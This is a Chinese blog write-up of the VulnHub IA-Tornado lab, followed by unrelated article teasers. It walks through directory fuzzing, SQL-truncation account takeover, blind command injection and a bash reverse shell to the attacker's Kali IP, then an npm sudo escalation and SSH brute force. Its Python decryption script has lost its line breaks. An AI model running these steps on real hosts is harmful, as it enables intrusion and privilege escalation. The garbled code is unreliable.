当前位置：首页 > news >正文

vulnhub靶场【IA系列】之Tornado

news 来源：原创 2025/6/8 11:43:15

前言

靶机：IA-Tornado，IP地址为192.168.10.11

攻击：kali，IP地址为192.168.10.2

都采用虚拟机，网卡为桥接模式

本文所用靶场、kali镜像以及相关工具，我放置在网盘中，可以复制后面链接查看 https://pan.quark.cn/s/8585373be449

主机发现

因为是下载靶机到本地，所以是同一局域网，同一网段，同一网卡下，所以为求速度可以使用arp-scan -l或netdiscover -r 192.168.10.1/24

若想要模拟真实环境，可以使用nmap

信息收集

使用nmap扫描端口

网站信息探测

访问80端口默认界面，发现是apachee2的默认界面，查看页面源代码也未发现内容

尝试进行目录爆破

使用gobuster、dirsearch、dirb、dirbuster、ffuf等工具进行爆破

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404,403

发现一个路径bluesky，其他路径无可用，访问这个路径，发现是一个前端页面，不知道这种有没有和后端交互

哇，这个界面真的很像现在大部分的网站，都是前后端分离的，不过这里的靶场不确定是否也是，所以对这个路径再进行一次扫描，可以看到还是有后端的语言php

gobuster dir -u http://192.168.10.11/bluesky -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md

或者借助浏览器插件wappalyzer也是可以发现编程语言的，这里若是发现后，就可以再使用目录爆破了

访问上面扫描出的路径，通过上面也可以看到，可用的路径两个，一个login.php一个signup.php

访问login.php

漏洞寻找

尝试输入一些弱密码、万能密码等操作，无法登录成功

再访问signup.php，发现输入后，会直接提示注册成功信息

以注册的信息进行访问login.php，并输入注册的信息进行登录

在点击portfolio时，出现下面字符，说是LFI漏洞被修复了，但是不要忘记再测试

其实这里点击功能点后，都未发现其他的利用，不过这里是php，所以测试是否有隐藏传参支持本地文件包含等，也就是进行爆破

这里先查看每个功能点的页面源代码，在portfolio这里的页面源代码中，出现敏感目录信息

这里假设不知道这个路径，对每个php文件进行路径测试，可以使用ffuf或wfuzz

不过这里需要先获取正在登录状态的用户的cookie才行，可以直接使用浏览器查看登录的cookie

以火狐浏览器为例，打开开发者工具，可按f12进入

或者利用工具curl

curl -X POST -d "uname=admin&upass=admin&btn=Login" http://192.168.10.11/bluesky/login.php -c c.txt
#-X选择请求方式，这里可以在查看页面源代码处发现，表单提交是POST
#-d 是POST请求体中的数据，这里的数据形式，可以借助浏览器中开发者工具，其中的网络模块，可以发现请求形式
#-c 把cookie保存在当前目录的c.txt文档中

查看c.txt即可发现cookie的名称以及值

这里获取到cookie了，那么为什么确定cookie才可以呢，这里以ffuf为例，查看返回

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php
#这是未设置爆破时的，并且未给予`cookie`

上面的返回与目录爆破时一样，都是要302跳转的。

再以添加cookie后的返回为对比

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv"

可以看到，指定cookie后，就可以直接访问了，所以这也是以cookie做身份验证的

那么尝试使用ffuf进行测试，当然使用burp抓包爆破，就通过数据包直接爆破即可，因为请求数据包中含有登录的cookie信息

不过这里字典跑了很久，并未获取到任何传参等信息，并且登录后的几个php都测试了

ffuf -c -w /usr/share/wordlists/dirb/common.txt:FUZZ1 -w /usr/share/wordlists/wfuzz/Injections/Traversal.txt:FUZZ2 -u http://192.168.10.11/bluesky/port.php?FUZZ1=FUZZ2 -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php?FUZZ=/home/tornado/imp.txt -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205

啧，已知的信息大概就这么多，这里难道不是通过传参进行文件包含的吗

给出的路径/home/tornado/imp.txt

信息泄露

分析这个路径，一般/home是存放用户的家目录，而其目录下的一般都是用户，就假设这里的路径就是家目录。表示存在用户tornado。那么之前nmap扫描的时候，目标为linux，是否可以确定这个路径具有多种表现方式

/home/tornado/imp.txt
~/imp.txt		#这里表示当前用户家目录下的imp.txt
~tornado/imp.txt	#这里表示用户tornado家目录下的imp.txt
#一般  ~  后加用户名，表示某用户的家目录

分析来看，一般网站的用户都是www-data，并且主目录不是在/home的，并且这里测试php文件有无传参，并未发现，说明确实修复了，不过假设不通过传参呢，直接通过网址进行访问进行测试

当前的网址路径有两个，其余可以直接看到的，无意义

http://192.168.10.11
http://192.168.10.11/bluesky

把这两个url与上面三个路径进行组合

http://192.168.10.11/home/tornado/imp.txt
http://192.168.10.11/~/imp.txt
http://192.168.10.11/~tornado/imp.txt
http://192.168.10.11/bluesky/home/tornado/imp.txt
http://192.168.10.11/bluesky/~/imp.txt
http://192.168.10.11/bluesky/~tornado/imp.txt

然后使用ffuf测试哪些有返回

发现url中http://192.168.10.11/~tornado/imp.txt有返回，访问查看，发现全是邮箱地址

之前在进行登录的时候，用户名处就是邮箱，测试这些用户名是否存在

ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado

在signup.php这里可以测试是否存在，不存在就会像之前一样，提示注册成功

使用burp抓取注册时的数据包，然后进行爆破

攻击成功后进行查看，因为这里使用的是burp社区版，所以不能直接进行搜索结果，不过可以在设置中配置匹配，这里用户已注册会返回User already registered，以这个进行匹配，就可以清晰的看清了

这里去网站看了一下，这个13是指长度，不过这里长度限制是在表单输入，和我通过抓包修改有什么关系，我已经不受表单控制了，😄

其实主要是观察这三个账户

admin@tornado
jacob@tornado
hr@tornado

不过前面既然注册了，使用burp再验证一下，奇怪的点出现了，前面manager注册成功的，这里确登录不了

分析为sql截断

前往浏览器进行手工测试，发现长度限制，那么前面注册的是什么，分析一下，在浏览器进行注册，也是有长度限制的，我是通过burp绕过这个前端的长度限制。

那么，通过burp注册的账户，到了数据库怎么处理的，或者说没到数据库的时候经过什么处理了。

直接输入长度限制的账号manager@torna，啧，登录成功了

好家伙，说明这里前端的长度限制和sql是一样的，或者说前端是可修改长度，sql是进行截断操作

这里长度限制为13，那么通过这种形式，测试sql在进行截断的时候，是否还进行数据库中用户的检验，若没有，就可以存在多个用户了，尤其是空格之类的。

admin@tornado a
jacob@tornado a
hr@tornado    a

之后直接登录admin@tornado，以及注册的密码，发现直接登录成功，但是查看这个功能点，还是不行

再换一个注册jacob@tornado a，然后以jacob@tornado登录，好嘛，这里可以看到了

发现这里输入什么就会返回什么，这不就是很好的xss吗，但是这里要xss还有什么用吗，都已经登录了，尝试试试输入一些命令，看其能否执行

命令注入

经过测试，输入id、ls等，直接返回这些字符，不过，我这里测试一下ping的时候，发现问题。

我刚开始直接输入ping 127.0.0.1，因为是linux界面，所以一直在加载，那么，大概就清楚了。然后我把靶机重启了，然后重新验证，只发送5个包，ping -c 127.0.0.1，发现真的有变化，确定是可以执行命令，只是不把回显返回

尝试进行shell反弹，先在kali中使用nc开启监听9999端口，然后输入下面命令，并执行

/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'

提权

提权至catchme用户

使用find寻找具有SUID权限的文件，发现sudo，直接尝试，发现不需要密码，有一个用户catchme的文件可执行

find / -perm -4000 -print 2>/dev/null

对于不知道npm的sudo提权，可以查看网站gtfobins.github.io中的帮助

TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
chmod 777 tmp.Veh2PZ0bMR
sudo -u catchme npm -C $TF --unsafe-perm i

使用dpkg查看python版本，然后使用python获取交互式界面

dpkg -l | grep python
python3 -c 'import pty;pty.spawn("/bin/bash")'

提权至root用户

查看这个用户的家目录

把代码中已经加密的那一串尝试进行分析，因为执行过这个脚本，发现不知道输入什么字符加密了。

不过这里可以通过源代码给进行反写，不会写代码就直接丢给ai，这里可以提供代码

import string# 待解密的加密字符串
encrypted_text = "hcjqnnsotrrwnqc"for key in string.printable:if len(key) > 1:continues = "abcdefghijklmnopqrstuvwxyz"s = s.replace(key, '')s = key + sdecrypted_text = ""for n in encrypted_text:j = ord(n)if j == ord(key):j = ord('a')decrypted_text += chr(j)elif n > 'a' and n <= key:j = j + 1decrypted_text += chr(j)elif n > key:decrypted_text += nelif ord(n) == 32:decrypted_text += chr(32)elif j >= 48 and j <= 57:decrypted_text += chr(j)elif j >= 33 and j <= 47:decrypted_text += chr(j)elif j >= 58 and j <= 64:decrypted_text += chr(j)elif j >= 91 and j <= 96:decrypted_text += chr(j)elif j >= 123 and j <= 126:decrypted_text += chr(j)print(decrypted_text)

然后执行这个脚本，把结果重定向到一个文件中

其实数据不多，查看一下，就发现一个引人idkrootpassword

把结果进行一个ssh爆破，针对root，因为已知的两个用户都用过了

查看最终文件

总结

该靶机主要考察以下几点

对于网站路径，以及本地文件包含的注入点测试
对于linux中~表示什么意思，以及~用户表示什么意思，以及/home是存放什么的
对于sql截断注入的了解，要测试后，才能知道，这里就是观察到注册成功，但是无法成功登录的情况进行具体分析
对于输入框，输入什么返回什么，若是未登录状态，使用xss可行，当然，实际情况中，若是真有，可以构造链接，发送给别人。这里是要获取shell，所以测试命令注入方面。虽然没有回显，但是在执行需要时间的命令时，明显发现是可执行命令的
对于sudo提权的一些方法，这里是npm
对于python代码，或者能获取到关键信息也行，现在ai发展迅速，可以通过ai直接写出逆向解密的代码

vulnhub靶场【IA系列】之Tornado

前言靶机：IA-Tornado，IP地址为192.168.10.11 攻击：kali，IP地址为192.168.10.2 都采用虚拟机，网卡为桥接模式本文所用靶场、kali镜像以及相关工具，我放置在网盘中，可以复制后面链接查看 htt…...

编程日记 2025/5/30 12:17:18

GB44495-2024 汽车整车信息安全技术要求 - V2X部分前置要求

背景 GB 44495-2024《汽车整车信息安全技术要求》中关于V2X（车与外界通信）的部分，主要关注于通信安全要求，旨在确保车辆在与外部设备进行数据交互时的信息安全。其测试大致可分为消息层（数据无异常）、应用…...

编程日记 2025/6/3 1:12:55

基于mediapipe的手势游戏控制

基于mediapipe的手势游戏控制玩游戏，那不是有手就行!!! mediapipe介绍 Mediapipe是Google在2019年开发并提出的一款开源的跨平台多媒体处理框架，用于构建基于机器学习的应用程序，特别是涉及到计算机视觉、音频处理、姿势估计等领域。…...

编程日记 2025/6/3 2:25:44

K8S 节点选择器

今天我们来实验 pod 调度的 nodeName 与 nodeSelector。官网描述如下： 假设有如下三个节点的 K8S 集群： k8s31master 是控制节点 k8s31node1、k8s31node2 是工作节点容器运行时是 containerd 一、镜像准备 1.1、镜像拉取 docker pull tomcat:8.5-jre8…...

编程日记 2025/6/3 7:00:52

IEC103 转 ModbusTCP 网关

一、产品概述 IEC103 转 ModbusTCP 网关型号 SG-TCP-IEC103 ，是三格电子推出的工业级网关（以下简称网关），主要用于 IEC103 数据采集、 DLT645-1997/2007 数据采集， IEC103 支持遥测和遥信，可接…...

编程日记 2025/6/1 20:55:40

docker swarm 部署问题和指定节点部署服务

问题原因： docker swarm 部署遇到的问题， 先前docker compose部署，分别创建了 cloud 网络； 昨进行swarm 集群部署；只是删了57 机器cloud 网络；在创建swarm集群后创建cloud 58机器没有删除先前的cloud 网络…...

编程日记 2025/6/2 17:34:07

09.VSCODE：安装 Git for Windows

在 Windows 下安装著名的源代码管理工具：git。 git 工具两大作用： 管理我们自己的源代码获取他人（开源的）源代码当前我们更需要第2点。为什么要安装 git 一、得到更多库之前课程中我们安装了 msys2，从而可以通…...

编程日记 2025/5/31 4:39:23

基于R计算皮尔逊相关系数

# 基于R计算皮尔逊相关系数 # 函数基本基本函数 cor.test ## 两组数据读入 xread.csv("1.csv",header T) yread.csv("2.csv",header T) ## 计算 cor.test(1,2,method"pearson") 结果 Pearsons product-moment correlationdata: 1 and 2…...

编程日记 2025/6/3 3:58:43

vue 纯前端导出 Excel

方法一： 1、安装"file-saver" npm i -S file-saver xlsx 2、引入在需要导出功能的 .vue 文件中引入 import FileSaver from "file-saver"; import XLSX from "xlsx"; 3、简单示例（复制即可食用）&#x…...

编程日记 2025/5/31 8:29:16

APISQL在线一键安装教程

本文档将指导您在 Linux 服务器上使用 Docker 安装 APISQL 软件。提供了两种安装方式：在线安装和离线安装，您可以根据实际环境选择合适的安装方式。 1. 准备工作 1.1 硬件要求 Linux (x86_64) 服务器 1.2 软件要求 Docker Engine 推荐版本&#xff…...

编程日记 2025/6/3 4:15:33

数据结构《MapSet哈希表》

文章目录一、搜索树1.1 定义1.2 模拟实现搜索二、Map2.1 定义2.2 Map.Entry2.3 TreeMap的使用2.4 Map的常用方法三、Set3.1 定义3.2 TreeSet的使用3.3 Set的常用方法四、哈希表4.1 哈希表的概念4.2 冲突4.2.1 冲突的概念4.2.2 冲突的避免1. 选择合适的哈希函数2. 负载因子调…...

编程日记 2025/6/4 5:04:54

【PCL】sample_consensus 模块—— Random Sample Consensus model（随机样本一致性模型，RANSAC）

1、随机样本一致性模型（RANSAC）简介在本教程中，我们将学习如何使用带有平面模型的随机样本一致性（RANSAC）来获取适合该模型的点云。 1.1理论背景 RANSAC 是“随机样本一致性”（RANdom SAmple Consensus…...

编程日记 2025/6/4 4:23:04

【MATLAB代码】CV和CA模型组成的IMM（滤波方式为UKF），可复制粘贴源代码

该代码实现了一维无迹卡尔曼滤波器（UKF）与交互式多模型（IMM）结合的状态估计。代码分为多个部分，主要功能包括参数定义、观测数据生成、状态估计、模型更新以及结果可视化。文章目录运行结果程序代码主要功能代码结构应用场景注意事项运行结果程序代码下方源代码直接粘…...

编程日记 2025/6/4 4:22:32

docker-compose部署kafka 3.3.1 kraft

一、服务器： 节点1:10.1.1.165 节点2:10.1.1.164 节点3:10.1.1.169二、添加环境地址解析 vim /etc/hosts kafka1 10.1.1.165 kafka2 10.1.1.164 kafka3 10.1.1.169三、节点配置节点1 version: "3" services:kafka1:image: bitnami/kafka:3.3.1contain…...

编程日记 2025/6/1 15:03:03

Linux 串口检查状态的实用方法

在 Linux 系统中，串口通信是非常常见的操作，尤其在嵌入式系统、工业设备以及其他需要串行通信的场景中。为了确保串口设备的正常工作，检查串口的连接状态和配置信息是非常重要的。本篇文章将介绍如何在 Linux 上检查串口的连接状态&#xff0…...

编程日记 2025/6/4 4:22:00

使用FRP进行内网穿透

一、基本概念内网穿透：它是一种网络技术或方法，旨在允许外部网络（如互联网）访问位于内部网络（内网）中的设备或服务。由于内部网络通常处于NAT（网络地址转换）、防火墙或其他安全机制…...

编程日记 2025/6/3 6:42:33

Ubuntu打开文件夹不显示文件

1.情况介绍使用ubuntu打开文件夹不显示文件夹里面的内容，而是直接打开了资源查看器。 2.解决办法命令行安装nautilus sudo apt-get install nautilus...

编程日记 2025/6/4 4:22:48

HarmonyOS NEXT应用开发边学边玩系列：从零实现一影视APP (三、影视搜索页功能实现)

在HarmonyOS NEXT开发环境中，可以使用nutpi/axios库来简化网络请求的操作。本文将展示如何使用HarmonyOS NEXT框架和nutpi/axios库，从零开始实现一个简单的影视APP，主要关注影视搜索页的功能实现。为什么选择nutpi/axios？ nutpi…...

编程日记 2025/6/4 4:22:16

探秘 JMeter 前置处理器：让性能测试如虎添翼

想象一下，你是一位超级英雄，要对一个庞大的虚拟城市（Web 应用）进行全面的 “健康检查”。JMeter 就是你的神奇工具包，而其中的前置处理器，就像是这个工具包里的各种超级武器，能帮助你轻松应对各…...

编程日记 2025/6/3 22:15:06

如何在gitlab cicd中实现每月10号上午执行

在 GitLab CI/CD 中，可以通过设置定时触发器（Schedules）和脚本中的时间判断逻辑结合，确保任务只在每月 10 号的上午运行。以下是实现的步骤： 1. 设置定时触发器 GitLab 提供了 Schedules 功能，可以指定每…...

编程日记 2025/5/30 10:32:21

深度学习基础知识

深度学习是人工智能（AI）和机器学习（ML）领域的一个重要分支，以下是对深度学习基础知识的归纳： 一、定义与原理定义：深度学习是一种使计算机能够从经验中学习并以概念层次结构的方式理解世界的机…...

编程日记 2025/6/2 9:39:00

面试加分项：Android Framework AMS 全面概述和知识要点

第一章：AMS 的架构与组件 1.1 AMS 整体架构在 Android 系统的庞大体系中，AMS（Activity Manager Service）就如同一个中枢神经系统，是整个系统的核心服务之一，对应用的性能和用户体验有着直接且关键的影响。它的整体架构由 Client 端和 Service 端两大部分组成，这两端相…...

编程日记 2025/6/2 23:27:57

网安——CSS

一、CSS基础概念 CSS有两个重要的概念，分为样式和布局 CSS的样式分为两种，一种是文字的样式，一种是盒模型的样式 CSS的另一个重要的特质就是辅助页面布局，完成HTML不能完成的功能，比如并排显示或精确定位显示从HT…...

编程日记 2025/6/1 18:24:46

知识图谱常见的主流图数据库

在知识图谱中，主流使用的图数据库包括以下几种： Neo4j：这是目前全球部署最广泛的图数据库之一，具有强大的查询性能和灵活的数据模型，适用于复杂关系数据的存储和查询。 JanusGraph：JanusGraph是一个开源的…...

编程日记 2025/6/2 23:27:24

阀井可燃气体监测仪，开启地下管网安全新篇章-旭华智能

在城市的脉络中，地下管网犹如隐秘的动脉，支撑着现代生活的运转。而在这庞大网络的关键节点上，阀井扮演着不可或缺的角色。然而，由于其密闭性和复杂性，阀井内部一旦发生可燃气体泄漏，将对公共安全构成严重威…...

编程日记 2025/6/4 6:13:13

【6】Word：海名公司文秘❗

目录题目 List.docx Word.docx List.docx和Word.docx 题目 List.docx 选中1/4全角空格复制→选中全部文本→开始→替换：粘贴将1/4全角空格替换成空格选中全部文本→插入→表格→将文本转化成表格→勾选和布局→自动调整→勾选选中第一列，单机右键…...

编程日记 2025/6/2 22:50:16

微信原生小程序自定义封装组件（以导航navbar为例）

封装 topnav.js const App getApp(); Component({// 组件的属性列表properties: {pageName: String, //中间的titleshowNav: { //判断是否显示左上角的按钮 type: Boolean,value: true},showHome: { //判断是否显示左上角的home按钮type: Boolean,value: true},showLocat…...

编程日记 2025/5/18 10:20:19

＜OS 有关＞Ubuntu 24 安装 openssh-server, tailscale+ssh 慢增加

更新日志： Created on 14Jan.2025 by Dave , added openssh-server, tailescape Updated on 15Jan.2025, added "tailescape - tailscape ssh" 前期准备： 1. 更新可用软件包的数据库 2. 升级系统中所有已安装的软件包到最新版本 3. 安装 cur…...

编程日记 2025/6/2 23:26:49

HQL（JPQL）和原生SQL实现查询自定义返回类

维修申请实例RepairApplyInstance： package com.byx.scaffold.common.entity.jpa;import com.byx.scaffold.common.entity.jpaEnum.RepairStatusConstant; import lombok.Data;import javax.persistence.Convert; import javax.persistence.Entity; import javax.persistence…...

编程日记 2025/6/4 3:37:48

前言